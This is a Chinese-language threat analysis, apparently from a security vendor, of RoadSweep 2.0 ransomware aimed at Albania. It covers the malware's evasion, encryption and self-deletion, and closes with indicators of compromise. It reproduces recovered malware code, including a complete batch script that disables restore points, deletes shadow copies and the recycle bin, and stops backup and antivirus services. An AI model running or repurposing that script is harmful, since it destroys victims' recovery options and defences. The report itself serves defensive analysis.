针对阿尔巴尼亚政府进行攻击的勒索软件——RoadSweep 2.0

2023-03-07   

威胁等级:★★★★
2022年7月17日。阿尔巴尼亚新闻媒体报告了两起具有针对性的大规模网络攻击,该攻击与此前另一版针对于阿尔巴尼亚的勒索攻击类型相同,极有可能是相同攻击者。

概述

2022年7月17日。阿尔巴尼亚新闻媒体报告了两起具有针对性的大规模网络攻击,该攻击与此前另一版针对于阿尔巴尼亚的勒索攻击类型相同,极有可能是相同攻击者。威胁行为者同样使用了英伟达(Nvidia)和科威特电信公司(Kuwait Telecommunications Company)的有效证书来签署他们的恶意软件,目前该证书已被吊销。

图:使用一个窃取的数字证书

具有政治色彩的勒索

勒索信在文本内容的展示上于此前有较大的变化,但是与上一版本具有相同的勒索信名称并且同样也提到了阿尔巴尼亚相关政治信息。

图:具有政治信息的勒索信

ATT&CK矩阵

战术 技术 具体行为
TA0002 执行 T1059 命令和脚本解释器 通过BAT批处理执行命令行,关闭还原点、删除卷拷贝、停止指定服务、结束指定进程。
TA0005 防御规避 T1036 伪装 RoadSweep通过修改程序图标,构造GUI程序来伪装成一个PDF转换工具。
TA0005 防御规避 T1497 虚拟化/沙盒规避 构造特殊的启动参数个数,阻碍并误导沙箱对文件的分析结果。
TA0005 防御规避 T1140 去混淆或解密文件和信息 程序内的部分字符串使用RC4算法加密,执行时会进行解密。
TA0005 防御规避 T1070 消除指示器 调用命令行进行自删除。
TA0007 环境发现 T1083 枚举文件和目录 枚举磁盘文件和目录用于排除特定文件名称和文件格式,以便于加密其他格式的文件。
TA0040 影响 T1486 数据加密 使用数据加密算法将文件数据进行加密处理,以便进行敲诈勒索。
TA0040 影响 T1490 阻碍系统恢复 关闭系统还原点以防止用户恢复到系统最佳状态;通过删除磁盘卷影使磁盘文件数据进入不可恢复的状态。
TA0040 影响 T1489 禁用或停止服务 停止特定名称的服务,用以关闭安全防护措施以及防止文件被程序占用导致的加密失败。

样本分析

字段 内容
原始文件名 pdftodoc.exe
文件大小 45.48 KB
文件 MD5 96eabcc77a6734ea8587599685fbf1b4
文件类型 EXE
病毒名 Ransom.RoadSweep!1.DF34
主要功能 勒索病毒,加密磁盘文件结束指定进程和服务创建勒索信并自删除

伪造的GUI入口

RoadSweep勒索与此前上一个版本代码高度相似,第一版伪装为XML浏览工具,而第二版伪装成PDF转换工具并且触发勒索启动的命令行参数个数也有所调整。与前一代对比主要入口如下图展示:

图:与RoadSweep1.0的入口的对比

条件执行,对抗沙箱

触发样本恶意行为的条件是当命令行参数大于6个,并且参数个数为偶数。否则将打开一个虚假的PDF浏览窗口用来伪装成PDF浏览工具并向用户展示,既能够降低用户警觉性也可以妨碍沙箱正确的对样本进行行为上的分析。

v3 = alloca(0);
__main();

//触发样本恶意行为需要正确的命令行参数个数
if ( argc <= 6 || argc % 2 == 1 )
{
    memset(&v80, 0, sizeof(v80));
    v79 = 0;
    v80.lStructSize = 76;
    v80.hwndOwner = 0;
    v80.lpstrFilter = "PDF Files (*.pdf)";
    v80.lpstrFile = &v79;
    v80.nMaxFile = 260;
    v80.lpstrDefExt = "*.xml";
    v80.Flags = 528388;
    if ( !GetOpenFileNameA(&v80) )
        exit(1);
    MessageBoxA(
        0,
        "The format of the pdf file in not valid.\r\n(1,2)::Error: incorrect document syntax",
        "PdfToDoc",
        0x30u);
    sub_403230(0);
}
v14 = 0;

创建互斥体,避免重复运行

创建互斥量 Global\Screenlimitsdevices#77! 在执行恶意行为前进行自我检测,避免多个实例干扰勒索加密结果

动态解密字符串

样本运行时通过CryptDecrypt执行RC4算法,解密程序中的导入函数字符串以及其他的重要字符串。防止杀毒软件对样本进行内容扫描时,检测到恶意字符串关键字。

0040144C    890424          MOV DWORD PTR SS:[ESP],EAX
0040144F    8B7D BC         MOV EDI,DWORD PTR SS:[EBP-0x44]
00401452    8B4D 08         MOV ECX,DWORD PTR SS:[EBP+0x8]
00401455    897C24 08       MOV DWORD PTR SS:[ESP+0x8],EDI
00401459    894C24 04       MOV DWORD PTR SS:[ESP+0x4],ECX                       
0040145D    E8 5E5C0000     CALL 
00401462    897424 10       MOV DWORD PTR SS:[ESP+0x10],ESI
00401466    8B3D 14C04000   MOV EDI,DWORD PTR DS:[0x40C014]
0040146C    8D55 BC         LEA EDX,DWORD PTR SS:[EBP-0x44]
0040146F    895424 14       MOV DWORD PTR SS:[ESP+0x14],EDX
00401473    C74424 0C 00000>MOV DWORD PTR SS:[ESP+0xC],0x0
0040147B    C74424 08 01000>MOV DWORD PTR SS:[ESP+0x8],0x1
00401483    C74424 04 00000>MOV DWORD PTR SS:[ESP+0x4],0x0
0040148B    893C24          MOV DWORD PTR SS:[ESP],EDI

; 调用关键API:CryptDecrypt进行数据解密
0040148E    E8 6D610000     CALL 
00401493    83EC 18         SUB ESP,0x18
00401496    85C0            TEST EAX,EAX
00401498    75 1D           JNZ SHORT 8ad01b02.004014B7

执行BAT脚本

运行时通过本地管道向cmd.exe输入脚本以执行如下功能:

  • 关闭还原点
  • 删除卷影拷贝
  • 停止指定名称的服务
  • 终止特定名称的进程

BAT代码如下:

::关闭系统还原点功能
@for /F "skip=1" %C in ('wmic LogicalDisk get DeviceID') do (
wmic /namespace:\\root\default Path SystemRestore Call disable "%C\" &
@rd /s /q %C\$Recycle.bin)

::删除磁盘卷影拷贝
@vssadmin.exe delete shadows /all /quiet

::停止下列指定名称的服务
@set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgrSavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc
@for %C in(%SrvLst%) do
@net stop %C
@set SrvLst=

::结束包含下列指定名称的进程
@set PrcLst=mysql sqloracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad
@for %C in (%PrcLst%) do
@taskkill /f /im "%C.exe"
@set PrcLst=
@exit		

加密文件时将排除指定的文件名和文件路径

  • how_to_unlock_myfiles.txt
  • windows
  • common|program files
  • program files (x86)
  • perflogs
  • system volume information
  • temporary internet files
  • templates
  • boot
  • windows.old|all users
  • boot.ini
  • bootmgr
  • bootmgr.efi
  • bootmgfw.efi
  • desktop.ini
  • iconcache.db
  • ntldr
  • ntuser.dat
  • ntuser.dat.log
  • ntuser.ini
  • thumbs.db
  • $recycle.bin

创建多线程加密

遍历磁盘所有的盘符,为每个磁盘盘符分别创建一个线程用以同时进行文件加密操作。对多核机器提高处理器利用率,增加文件加密效率。

; kernel32.GetLogicalDriveStringsW
00402E2D    FFD3            CALL EBX
00402E2F    83E8 04         SUB EAX,0x4
00402E32    83EC 08         SUB ESP,0x8
00402E35    8985 5CFCFFFF   MOV DWORD PTR SS:[EBP-0x3A4],EAX
00402E3B    90              NOP
00402E3C    8D7426 00       LEA ESI,DWORD PTR DS:[ESI]
00402E40    83BD 5CFCFFFF F>CMP DWORD PTR SS:[EBP-0x3A4],-0x1
00402E47    0F8E D1000000   JLE 8ad01b02.00402F1E
00402E4D    0FB73D A82A4000 MOVZX EDI,WORD PTR DS:[0x402AA8]
00402E54    8D8D B8FCFFFF   LEA ECX,DWORD PTR SS:[EBP-0x348]
00402E5A    8B85 5CFCFFFF   MOV EAX,DWORD PTR SS:[EBP-0x3A4]
00402E60    890C24          MOV DWORD PTR SS:[ESP],ECX
00402E63    8B1D A42A4000   MOV EBX,DWORD PTR DS:[0x402AA4]
00402E69    BA FFFFFFFF     MOV EDX,-0x1
00402E6E    0FB7B445 D8FDFF>MOVZX ESI,WORD PTR SS:[EBP+EAX*2-0x228]
00402E76    899D B8FCFFFF   MOV DWORD PTR SS:[EBP-0x348],EBX         

; 循环获取逻辑盘符
00402E7C    8B1D E0D24100   MOV EBX,DWORD PTR DS:[<&KERNEL32.GetDriveTypeW>]
00402E82    66:89BD BCFCFFF>MOV WORD PTR SS:[EBP-0x344],DI
00402E89    66:89B5 B8FCFFF>MOV WORD PTR SS:[EBP-0x348],SI
00402E90    8995 90FCFFFF   MOV DWORD PTR SS:[EBP-0x370],EDX
00402E96    FFD3            CALL EBX
00402E98    8D78 FE         LEA EDI,DWORD PTR DS:[EAX-0x2]
00402E9B    83EC 04         SUB ESP,0x4
00402E9E    83FF 02         CMP EDI,0x2
00402EA1    76 0E           JBE SHORT 8ad01b02.00402EB1
00402EA3    83F8 06         CMP EAX,0x6
00402EA6    74 09           JE SHORT 8ad01b02.00402EB1
00402EA8    83AD 5CFCFFFF 0>SUB DWORD PTR SS:[EBP-0x3A4],0x4
00402EAF  ^ EB 8F           JMP SHORT 8ad01b02.00402E40
00402EB1    C70424 50874100 MOV DWORD PTR SS:[ESP],8ad01b02.00418750
00402EB8    8D85 B8FCFFFF   LEA EAX,DWORD PTR SS:[EBP-0x348]
00402EBE    894424 04       MOV DWORD PTR SS:[ESP+0x4],EAX
00402EC2    E8 49420000     CALL 
00402EC7    C74424 14 00000>MOV DWORD PTR SS:[ESP+0x14],0x0
00402ECF    B9 FFFFFFFF     MOV ECX,-0x1

; 通过循环的方式为每个盘符创建线程,执行后续加密
00402ED4    8B35 A8D24100   MOV ESI,DWORD PTR DS:[<&KERNEL32.CreateThread>]	

修改文件后缀名

在加密之前通过MoveFileEx先修改文件后缀名,在文件名尾部添加.lck作为感染标识。

00402073    897424 04       MOV DWORD PTR SS:[ESP+0x4],ESI
00402077    890424          MOV DWORD PTR SS:[ESP],EAX
0040207A    FF15 68D34100   CALL DWORD PTR DS:[<&KERNEL32.lstrcpyW>]
00402080    83EC 08         SUB ESP,0x8
00402083    C74424 04 FA1F4>MOV DWORD PTR SS:[ESP+0x4],8ad01b02.00401FFA

; UNICODE ".lck"
0040208B    891C24          MOV DWORD PTR SS:[ESP],EBX
0040208E    FF15 64D34100   CALL DWORD PTR DS:[<&KERNEL32.lstrcatW>]

00402094    83EC 08         SUB ESP,0x8
00402097    C74424 08 09000>MOV DWORD PTR SS:[ESP+0x8],0x9
0040209F    895C24 04       MOV DWORD PTR SS:[ESP+0x4],EBX
004020A3    893424          MOV DWORD PTR SS:[ESP],ESI

; 通过MoveFileExW修改文件后缀添加.lck
004020A6    FF15 1CD34100   CALL DWORD PTR DS:[<&KERNEL32.MoveFileExW>]

RC4加密算法

通过时间种子生成随机数字串,导入CryptDeriveKey作为RC4算法密钥。

004078E1    F3:AB           REP STOS DWORD PTR ES:[EDI]
004078E3    C70424 00000000 MOV DWORD PTR SS:[ESP],0x0
004078EA    E8 A1F8FFFF     CALL 
004078EF    890424          MOV DWORD PTR SS:[ESP],EAX

; 将当前时间作为加密算法所需的随机种子
004078F2    E8 89F8FFFF     CALL  

生成的随机数作为RC4密钥,被RoadSweep勒索开发者规定为特定格式以及长度的字符串如下:

022EEF0  43 36 36 46 41 32 37 54 2D 31 32 32 37 32 37 33  C66FA27T-1227273
0022EF00  39 45 2D 31 38 35 30 31 45 36 41 43 2D 31 42 44  9E-18501E6AC-1BD
0022EF10  38 39 35 46 45 44 2D 31 39 44 32 45 35 38 36 56  895FED-19D2E586V
0022EF20  2D 37 42 38 44 32 44 36 47 2D 31 37 36 46 44 45  -7B8D2D6G-176FDE
0022EF30  34 52 2D 31 46 30 44 35 38 34 32 58 2D 31 36 37  4R-1F0D5842X-167
0022EF40  37 30 33 36 31 32 31 00 00 00 00 00 00 00 00 00  7036121.........

RSA加密算法

导入RSA公钥加密随机数明文数据块(RC4密钥)将加密后密文数据存放到How_To_Unlock_MyFiles.txt勒索信中,随后通过RC4算法加密文件。

00407A9C    897C24 14       MOV DWORD PTR SS:[ESP+0x14],EDI
00407AA0    895424 08       MOV DWORD PTR SS:[ESP+0x8],EDX
00407AA4    C74424 04 609A4>MOV DWORD PTR SS:[ESP+0x4],8ad01b02.00409A60
00407AAC    8B08            MOV ECX,DWORD PTR DS:[EAX]
00407AAE    890C24          MOV DWORD PTR SS:[ESP],ECX

; 使用CryptImportKey导入RSA公钥
00407AB1    E8 3AFBFFFF     CALL  

RSA公钥数据块展示如下,它存放于RoadSweep勒索软件PE结构的数据段中在对RC4密钥进行加密时取出,通过CryptImportKey导入密钥。

00409A60  06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00  ...?.RSA1...
00409A70  01 00 01 00 0D 27 63 1C 89 0D 9A 04 BE B7 F9 E2  ...'c??痉
00409A80  35 57 DE E1 BB C3 DF FE 5F 96 3B 9A 28 08 30 89  5W掎幻唼_??0?
00409A90  74 24 52 8D 10 FE 35 72 10 53 41 E5 54 C4 C8 DC  t$R??rSA錞娜?
00409AA0  1D 9D C1 B7 79 1C E0 71 F7 2D 4C D3 1B 76 44 A9  澚穣鄎?L?vD?
00409AB0  49 09 EF CB 70 7C E0 03 B3 99 46 C9 CE 39 2D 97  I.锼p|?硻F晌9-?
00409AC0  B3 98 1D 92 F1 D5 B8 1C 69 F6 D9 1C F1 54 C8 CF  硺採崭i鲑馮认
00409AD0  85 AB A4 17 54 F5 16 38 67 EB 27 77 26 A3 10 02  叓?T?8g?w&?
00409AE0  D6 66 80 6A D8 FF 5B 5A 4E 84 01 E5 35 9A E3 F5  謋€j?[ZN??氥?
00409AF0  13 B8 10 C9 94 00 00 00 00 00 00 00 00 00 00 00  ?蓴...........	

自我删除

在程序最终执行完毕后,通过启动cmd.exe执行从程序自身所在路径自我删除的行为,防止威胁分析人员捕获到RoadSweep恶意样本。

Cmd.exe ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\win7\Desktop\pdftodoc.exe"	

预防措施

1.部署网络安全态势感知、预警系统等网关安全产品。

网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

2.安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

瑞星 ESM 目前已经可以检出此次攻击事件的相关样本。

沦陷信标(IOC)

MD5

96EABCC77A6734EA8587599685FBF1B4

WindowsMutex

Global\Screenlimitsdevices#77!

参考资料

https://securelist.com/ransomware-and-wiper-signed-with-stolen-certificates/108350/
编辑:瑞瑞 阅读: